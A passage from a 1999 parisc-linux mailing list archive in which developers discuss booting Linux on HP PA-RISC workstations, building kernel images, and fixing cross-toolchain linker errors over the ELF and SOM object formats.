> > work up and running on it. Hopefully, this isn't too different from other
> > 7XX machines. Anyone know of any 'gotcha's ? (Oh, and I have zero HP/UX
> > experience (all Irix and Linux background).
> 
> Maybe this will be OK.  It's PA-RISC 1.1a, a PA7000 processor like the
> 705/710/720/750 rather than the PA7100LC as the 712/715/etc machines have.
> We have docs on the 7100 and 7300 CPUs on the website, but no docs on
> the 7000.  I suspect that getting documentation on this CPU will be
> low-priority; even lower priority than the HIL keyboard driver :-)
> So it may work, but don't be surprised if it doesn't.
> 

Those original snakes have the ASP bus, which is quite similar to the LASI.
You can look at the Mach code for differences.  A couple of other differences
that might bite you: the snakes don't have HW TLB miss handling support,
the block TLBs have some funky restrictions, and they have the NCR53C700
SCSI controller which is a little quirky compared to the 53C710 in the later
machines.  But none of these are show-stoppers.


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Finally ... Kernel Booted on C200
Date: Wed, 08 Sep 1999 21:32:40 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <37D72A58.C01218B5@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619753 13850 80.91.229.3 (22 Nov 2014 01:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:13 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Wed Sep  8 22:51:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA23271
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Sep 1999 22:51:28 -0600
Original-Received: (qmail 22465 invoked by uid 15267); 9 Sep 1999 04:53:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22455 invoked from network); 9 Sep 1999 04:53:30 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 9 Sep 1999 04:53:30 -0000
Original-Received: (qmail 19198 invoked by alias); 9 Sep 1999 04:53:28 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 19191 invoked by uid 0); 9 Sep 1999 04:53:27 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 9 Sep 1999 04:53:27 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9895

Well I'm slowly learning .... :)

I finally figured out how to compile the cvs tree into a kernel that
I could boot on the C200.
These are the steps I followed, will someone verify if they are correct?

1. built the kernel using vmlinux,
2. built the ipl in arch/parisc/boot/boot_code
3. stripped ipl
4. mkImage ipl vmlinux vmlinux.boot
5 boot off of vmlinux.boot

At this point I get Tranfering control to kernel.  (At entry point
0x00010000)
The LED are also flashing in some patteren.

Well, time to start researching signals :)

-Ryan




From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ext-helge.deller@nokia.com
Newsgroups: gmane.linux.ports.parisc
Subject: FW: [parisc-linux] Finally ... Kernel Booted on C200
Date: Thu, 9 Sep 1999 10:18:31 +0300
Lines: 58
Approved: news@gmane.org
Message-ID: <A914533BF4B9D2118D980008C7894C0A01013169@dueis01nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619754 13852 80.91.229.3 (22 Nov 2014 01:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ext-helge.deller@nokia.com  Thu Sep  9 01:16:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA23548
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Sep 1999 01:16:51 -0600
Original-Received: (qmail 14988 invoked by uid 15267); 9 Sep 1999 07:18:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14962 invoked from network); 9 Sep 1999 07:18:50 -0000
Original-Received: from esebh02nok.ntc.nokia.com (131.228.118.151)
  by mailserv2.iuinc.com with SMTP; 9 Sep 1999 07:18:50 -0000
Original-Received: by esebh02nok with Internet Mail Service (5.5.2650.10)
	id <R20LX1LB>; Thu, 9 Sep 1999 10:18:43 +0300
X-Mailer: Internet Mail Service (5.5.2650.10)
Xref: news.gmane.org gmane.linux.ports.parisc:9896



-----Original Message-----
From: Deller Helge (EXT-NEG/Dusseldorf) 
Sent: Donnerstag, 9. September 1999 9:17
To: 'EXT Ryan Bradetich'
Subject: RE: [parisc-linux] Finally ... Kernel Booted on C200



Yes, but it's really easy with two steps:

1. make vmlinux
2. make Image	(<- Here the ipl will be built & stripped, then ipl and
vmlinux will be added to the file "Image").
3. Boot the file arch/parisc/boot/Image from HDD or via network.


Helge Deller.


> -----Original Message-----
> From: EXT Ryan Bradetich [mailto:rbradetich@uswest.net]
> Sent: Donnerstag, 9. September 1999 5:33
> To: Parisc Linux
> Subject: [parisc-linux] Finally ... Kernel Booted on C200
> 
> 
> Well I'm slowly learning .... :)
> 
> I finally figured out how to compile the cvs tree into a kernel that
> I could boot on the C200.
> These are the steps I followed, will someone verify if they 
> are correct?
> 
> 1. built the kernel using vmlinux,
> 2. built the ipl in arch/parisc/boot/boot_code
> 3. stripped ipl
> 4. mkImage ipl vmlinux vmlinux.boot
> 5 boot off of vmlinux.boot
> 
> At this point I get Tranfering control to kernel.  (At entry point
> 0x00010000)
> The LED are also flashing in some patteren.
> 
> Well, time to start researching signals :)
> 
> -Ryan
> 
> 
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Finally ... Kernel Booted on C200
Date: Thu, 09 Sep 1999 21:13:31 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <37D8775B.A7802688@uswest.net>
References: <A914533BF4B9D2118D980008C7894C0A01013168@dueis01nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619754 13855 80.91.229.3 (22 Nov 2014 01:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:14 +0000 (UTC)
To: ext-helge.deller@nokia.com, Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Thu Sep  9 22:32:58 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA24967
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Sep 1999 22:32:58 -0600
Original-Received: (qmail 16699 invoked by uid 15267); 10 Sep 1999 04:34:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16692 invoked from network); 10 Sep 1999 04:34:31 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 10 Sep 1999 04:34:31 -0000
Original-Received: (qmail 525 invoked by alias); 10 Sep 1999 04:34:27 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 500 invoked by uid 0); 10 Sep 1999 04:34:27 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 10 Sep 1999 04:34:27 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9897

Well I never claimed I was bright :)
Thanks for the hint/help.

I do have a question/patch for you though......

When I do a make mrproper, or make distclean, etc ... the
arch/parisc/boot/boot_code/cache.c file gets removed, and I have to
re-checkit out from cvs....  Is this supposed to happen?

I've attached a patch to remove the cache.c file from the clean in the
Makefile if this is a bug.....

Thanks again for hint/help!
-Ryan


ext-helge.deller@nokia.com wrote:

> Yes, but it's really easy with two steps:
>
> 1. make vmlinux
> 2. make Image   (<- Here the ipl will be built & stripped, then ipl and
> vmlinux will be added to the file "Image").
> 3. Boot the file arch/parisc/boot/Image from HDD or via network.
>
> Helge Deller.
>
> > -----Original Message-----
> > From: EXT Ryan Bradetich [mailto:rbradetich@uswest.net]
> > Sent: Donnerstag, 9. September 1999 5:33
> > To: Parisc Linux
> > Subject: [parisc-linux] Finally ... Kernel Booted on C200
> >
> >
> > Well I'm slowly learning .... :)
> >
> > I finally figured out how to compile the cvs tree into a kernel that
> > I could boot on the C200.
> > These are the steps I followed, will someone verify if they
> > are correct?
> >
> > 1. built the kernel using vmlinux,
> > 2. built the ipl in arch/parisc/boot/boot_code
> > 3. stripped ipl
> > 4. mkImage ipl vmlinux vmlinux.boot
> > 5 boot off of vmlinux.boot
> >
> > At this point I get Tranfering control to kernel.  (At entry point
> > 0x00010000)
> > The LED are also flashing in some patteren.
> >
> > Well, time to start researching signals :)
> >
> > -Ryan
> >
> >
> >
> > --------------------------------------------------------------
> > -------------
> > To unsubscribe: send e-mail to
> > parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> >


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sched.models and HP-UX flavor
Date: Sat, 11 Sep 1999 10:37:53 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <199909111737.KAA16544@milano.cup.hp.com>
References: <19990824234440.H31994@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619754 13856 80.91.229.3 (22 Nov 2014 01:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Sep 11 11:37:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA27386
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Sep 1999 11:37:53 -0600
Original-Received: (qmail 15911 invoked by uid 15267); 11 Sep 1999 17:40:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15903 invoked from network); 11 Sep 1999 17:39:59 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 11 Sep 1999 17:39:59 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA28292
	for <parisc-linux@thepuffingroup.com>; Sat, 11 Sep 1999 13:39:20 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA16544 for <parisc-linux@thepuffingroup.com>; Sat, 11 Sep 1999 10:37:53 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 24 Aug 1999 23:44:40 PDT."
             <19990824234440.H31994@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9898


Matthew Wilcox wrote:
...
> Well, according to /usr/sam/lib/mo/sched.models (a very useful file!)

This is the HP-UX 11.X location.
On 10.20, it's /usr/lib/sched.models.
(Agreed - a very useful file)

I think trying to build/link parisc-linux on 10.20 has been the
source of my problems. I have the impression binutils and egcs
configure scripts are targeted towards hpux11.00 host since
they use "elf" instead of "som" output format.
I'm moving to 11.00 host and see if that works better...

I'm not good at (mostly not interested) futzing around with build tools.
It would be a good thing if someone either fixed or intentionally broke
the parisc-linux configure scripts for hpux10.20 host.

cheers,
grant

ps. parisc/pci.[ch] and dino.c changes are coming along nicely.
   Most of the design issues are resolved though a few are still
   outstanding. It looks like I should be able to drop those
   in by next week after they are reviewed.

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] $global$ undefined?
Date: Mon, 13 Sep 1999 09:46:42 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <199909131646.JAA17467@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619755 13857 80.91.229.3 (22 Nov 2014 01:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Sep 13 10:46:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA29617
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Sep 1999 10:46:41 -0600
Original-Received: (qmail 15626 invoked by uid 15267); 13 Sep 1999 16:48:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15619 invoked from network); 13 Sep 1999 16:48:42 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 Sep 1999 16:48:42 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA08846
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Sep 1999 12:48:03 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA17467 for <parisc-linux@thepuffingroup.com>; Mon, 13 Sep 1999 09:46:43 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9899

I'm getting "undefined reference to `$global$'" error when
linking. Is this a tools or source tree problem?

I'm inclined to think the former but don't know.

thanks,
grant

ps - this is now on an HP-UX 11.00 system.

grundler <438>type ld
ld is /linux/parisc-linux/bin/ld
grundler <439>ld --version
GNU ld 2.9.1
Copyright 1997 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License.  This program has absolutely no warranty.
  Supported emulations:
  hppaelf
grundler <440>type gcc
gcc is /linux/parisc-linux/bin/gcc
grundler <441>gcc --version
egcs-2.91.60
grundler <442>type as      
as is /linux/parisc-linux/bin/as
grundler <443>as --version
GNU assembler 2.9.1
Copyright 1997 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License.  This program has absolutely no warranty.
This assembler was configured for a target of `parisc-linux'.

grundler <444>make vmlinux
gcc -D__KERNEL__ -I/linux/linux/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -mdisable-fpregs -fwritable-strings  -pipe -fno-strength-reduce -DUTS_MACHINE='"parisc"' -c -o init/version.o init/version.c
.
.
.
ld -R 0xc0010000 -N -e stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o init/main.o init/version.o ramdisk.o\
	arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
	fs/filesystems.a \
	net/network.a \
	drivers/block/block.a drivers/char/char.a drivers/gecko/gecko.a  drivers/net/net.a drivers/pci/pci.a \
	/linux/linux/arch/parisc/lib/lib.a /linux/linux/lib/lib.a /linux/linux/arch/parisc/lib/lib.a \
	-o vmlinux
arch/parisc/kernel/kernel.o: In function `pdc_add_valid':
arch/parisc/kernel/kernel.o($CODE$+0x26f8): undefined reference to `$global$'
make: *** [vmlinux] Error 1
grundler <445>


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $global$ undefined?
Date: Mon, 13 Sep 1999 19:01:09 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <19990913190109.K10698@suse.de>
References: <199909131646.JAA17467@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619755 13860 80.91.229.3 (22 Nov 2014 01:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Mon Sep 13 10:59:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA29835
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Sep 1999 10:59:03 -0600
Original-Received: (qmail 19965 invoked by uid 15267); 13 Sep 1999 17:01:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19958 invoked from network); 13 Sep 1999 17:01:12 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 13 Sep 1999 17:01:12 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id AF95C32CE7; Mon, 13 Sep 1999 19:01:09 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id B1C9D67AE; Mon, 13 Sep 1999 19:01:09 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 880C37F8B; Mon, 13 Sep 1999 19:01:09 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909131646.JAA17467@milano.cup.hp.com>; from Grant Grundler on Mon, Sep 13, 1999 at 09:46:42AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9900

> grundler <438>type ld
> ld is /linux/parisc-linux/bin/ld
> grundler <439>ld --version
> GNU ld 2.9.1

Use the HP/UX ld.


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $global$ undefined?
Date: Mon, 13 Sep 1999 10:53:37 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <199909131753.KAA17721@milano.cup.hp.com>
References: <19990913190109.K10698@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619755 13864 80.91.229.3 (22 Nov 2014 01:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Mon Sep 13 11:54:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA30170
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Sep 1999 11:54:19 -0600
Original-Received: (qmail 7009 invoked by uid 15267); 13 Sep 1999 17:56:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7002 invoked from network); 13 Sep 1999 17:56:18 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 Sep 1999 17:56:18 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA14454
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Sep 1999 13:55:38 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA17721; Mon, 13 Sep 1999 10:53:37 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 13 Sep 1999 19:01:09 PDT."
             <19990913190109.K10698@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9901

Philipp Rumpf wrote:
> > grundler <438>type ld
> > ld is /linux/parisc-linux/bin/ld
> > grundler <439>ld --version
> > GNU ld 2.9.1
> 
> Use the HP/UX ld.

Sorry - I forgot about that in my Nth attempt at setting
up the GNU cross-env tools.

Different problem now.

grundler <402>mv /linux/parisc-linux/bin/ld /linux/parisc-linux/bin/ld.orig
grundler <403>type ld
ld is /bin/ld
...
grundler <406>make vmlinux
...
ld -R 0xc0010000 -N -e stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o init/main.o init/version.o ramdisk.o\
        arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
        fs/filesystems.a \
        net/network.a \
        drivers/block/block.a drivers/char/char.a drivers/gecko/gecko.a  drivers/net/net.a drivers/pci/pci.a \
        /linux/linux/arch/parisc/lib/lib.a /linux/linux/lib/lib.a /linux/linux/arch/parisc/lib/lib.a \
        -o vmlinux
ld: (Warning) Option "-N" ignored.  Non-shared text is not supported.
ld: Bad arch rev: 0
Fatal error.
make: *** [vmlinux] Error 1


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $global$ undefined?
Date: Mon, 13 Sep 1999 20:06:26 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <19990913200626.C1391@suse.de>
References: <19990913190109.K10698@suse.de> <199909131753.KAA17721@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619756 13868 80.91.229.3 (22 Nov 2014 01:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Mon Sep 13 12:04:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA30442
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Sep 1999 12:04:18 -0600
Original-Received: (qmail 10634 invoked by uid 15267); 13 Sep 1999 18:06:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10621 invoked from network); 13 Sep 1999 18:06:27 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 13 Sep 1999 18:06:27 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id D4EFD32CF5; Mon, 13 Sep 1999 20:06:26 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id C322667AE; Mon, 13 Sep 1999 20:06:26 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id B75117F8B; Mon, 13 Sep 1999 20:06:26 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909131753.KAA17721@milano.cup.hp.com>; from Grant Grundler on Mon, Sep 13, 1999 at 10:53:37AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9902

> Different problem now.

please file the object files to see whether they are ELF or SOM (they should
be all SOM).


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $global$ undefined?
Date: Mon, 13 Sep 1999 11:18:02 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <199909131818.LAA17779@milano.cup.hp.com>
References: <19990913200626.C1391@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619756 13869 80.91.229.3 (22 Nov 2014 01:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Mon Sep 13 12:18:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA30673
	for <parisc-linux@puffin.external.hp.com>; Mon, 13 Sep 1999 12:18:01 -0600
Original-Received: (qmail 15555 invoked by uid 15267); 13 Sep 1999 18:20:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15546 invoked from network); 13 Sep 1999 18:20:08 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 13 Sep 1999 18:20:08 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA28681
	for <parisc-linux@thepuffingroup.com>; Mon, 13 Sep 1999 14:19:26 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA17779; Mon, 13 Sep 1999 11:18:03 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 13 Sep 1999 20:06:26 PDT."
             <19990913200626.C1391@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9903

Philipp Rumpf wrote:
> > Different problem now.
> 
> please file the object files to see whether they are ELF or SOM (they should
> be all SOM).

grundler <407>file arch/parisc/kernel/head.o
arch/parisc/kernel/head.o:      ELF-32 relocatable object file - PA-RISC


Sigh...I thought the object files were supposed to be SOM until I saw the
following in the binutils/gas/configure:
      parisc-*-linux*)         fmt=elf em=linux ;;

Should I change this to "som"?

thanks again philipp,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] building SOM tools
Date: Mon, 13 Sep 1999 13:32:54 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <199909132032.NAA18055@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619756 13872 80.91.229.3 (22 Nov 2014 01:29:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Sep 13 14:32:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA31121
